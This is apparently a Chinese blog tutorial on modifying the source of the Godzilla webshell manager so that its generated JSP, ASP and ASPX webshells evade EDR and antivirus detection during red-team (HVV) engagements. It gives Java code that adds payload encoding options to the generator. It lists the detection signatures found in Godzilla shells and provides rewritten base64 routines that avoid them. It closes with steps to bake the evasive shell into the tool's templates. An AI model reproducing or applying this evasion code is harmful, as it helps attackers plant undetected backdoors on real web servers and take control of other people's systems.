前言
在常见的HVV项目中,为了避免shell被edr检测到,因此需要对shell进行免杀处理。由于哥斯拉4.0.1版本默认生成的webshell已经不免杀,通过来说,需要借助第三方工具实现shell免杀。因此,常规的免杀步骤如下:
1.通过哥斯拉生成webshell
2.通过第三方工具进行免杀处理
3.本地查杀测试
4.shell上传/编码后上传
上面所述的是最理想化的步骤,但通过多次项目总结,步骤2是问题最多的,通常的问题如下:
**1.第三方工具不完善。**由于第三方工具免杀所支持的shell类型不同,如果处理shell免杀就需要同时使用这三款工具,然后去测试是否能够支持我们需要的webshell免杀。这其实是很不方便的。举例:工具1仅支持jsp;工具2仅支持php;工具3仅支持aspx及php。
2.第三方工具更新问题。由于第三方工具更新时间及更新内容不固定,导致免杀失效的问题。要对shell进行免杀,需要挨个测试。举例:工具1仅支持jsp和php免杀,但jsp免杀已经失效;工具2仅支持jsp和aspx,但aspx免杀已失效;工具3仅支持aspx及php,但php免杀已失效。
**3.第三方工具兼容性问题。**由于第三方工具处理shell免杀的方式不同,因此部分业务场景存在第三方工具生成的shell或处理后的shell存在兼容问题,无法获取目标机器权限的问题。
为了解决步骤2所产生的问题,因此需要对哥斯拉源码进行修改,实现如下功能:
1.可对生成的webshell指定编码,可用于二次免杀或bypasswaf
2.生成的webshell自动免杀,不再依赖第三方工具
Shell生成界面修改
通过对哥斯拉webshell生成的流程分析。可以通过多种方式进行免杀。但为了方便用户操作,可选择通过对Shell生成界面修改及功能添加,实现免杀。
定位到GenerateShellLoder,添加变量JCheckBox及JComboBox
//新增shell编码
private final JCheckBox EncodingCheckBox;
private final JComboBox<String> EncodingTypeComboBox;
在GenerateShellLoder方法中需要指定控件的布局信息
//新增生成编码
GBC gbcLEncoding = (new GBC(0, 6)).setInsets(5, -40, 0, 0);
GBC gbcEncoding = (new GBC(1, 6, 3, 1)).setInsets(5, 20, 0, 0);
初始化控件,添加代码如下
//新增生成编码
this.EncodingCheckBox = new JCheckBox("生成编码");
this.EncodingTypeComboBox = new JComboBox();
//新增生成编码
c.add(this.EncodingCheckBox, gbcLEncoding);
c.add(this.EncodingTypeComboBox, gbcEncoding);
将代码添加完成后,通过调试,可看到shell生成界面多了生成编码的功能。但编码类型是空的,因此需要进一步添加编码类型。
以jsp为例,这里添加了多种编码。比如unicode编码,b64编码,url编码等
GenerateShellLoder.this.EncodingTypeComboBox.addItem("unicodejsp");
GenerateShellLoder.this.EncodingTypeComboBox.addItem("unicode+url");
GenerateShellLoder.this.EncodingTypeComboBox.addItem("htmlEncodeJspx");
GenerateShellLoder.this.EncodingTypeComboBox.addItem("base64");
GenerateShellLoder.this.EncodingTypeComboBox.addItem("url");
GenerateShellLoder.this.EncodingTypeComboBox.addItem("base64+url");
GenerateShellLoder.this.EncodingTypeComboBox.addItem("escape");
将代码添加完成后,通过调试,可看到生成编码可选了。
Shell生成代码添加
在generateFileButtonClick方法中,添加代码,让生成的shell进行编码处理
Boolean Encoding = this.EncodingCheckBox.isSelected();
if (Encoding&&!this.ShellExtractCheckBox.isSelected()) {
if (EncodingType.equals("base64")) {
data = functions.base64Encode(data);
} else if (EncodingType.equals("base64+url")) {
data = functions.base64Encode(data);
data = functions.urlEncode(new String(data)).getBytes();
} else if (EncodingType.equals("url")) {
data = functions.urlEncode(new String(data)).getBytes();
} else if (EncodingType.equals("unicodejsp")) {
data = functions.encoderJsp(new String(data)).getBytes();
}
}
通过进一步完善代码,最后实现了自动编码功能。
unicode编码结果如下
htmljspx编码结果如下
asp的utf-7编码结果如下
aspx的unicode编码结果如下
Shell免杀处理
上面介绍了对shell的编码处理功能,通过编码可绕过部分安全软件的查杀,比如aspx的unicode编码,asp的utf-7编码。
但某些安全软件会判断shell是否被编码了。如果编码了,会提示类似“xx编码脚本”字样的内容。
所以需要对webshell进行免杀处理。以jsp为例,通过定位特征,常见的shell特征代码如下
this.getClass().getClassLoader()
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
session.getAttribute("payload")
session.setAttribute("payload")
接下来需要对特征进行处理。
this.getClass().getClassLoader() 可替换为Thread.currentThread().getContextClassLoader()
base64Encode方法可修改为如下代码
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
Class enen = Encoder.getClass();
value = (String) enen.getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
Class enen = Encoder.getClass();
value = (String) enen.getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
base64Decode方法可修改为如下代码
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
Class dede = decoder.getClass();
value = (byte[]) dede.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
Class dede = decoder.getClass();
value = (byte[]) dede.getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
通过对所有特征码处理,并查杀测试,发现并未查杀
最后修改哥斯拉源码中base64Code.bin和base64GlobalCode.bin文件,替换为修改后的shell代码。
通过生成shell测试,发现生成的shell内容为免杀处理后的内容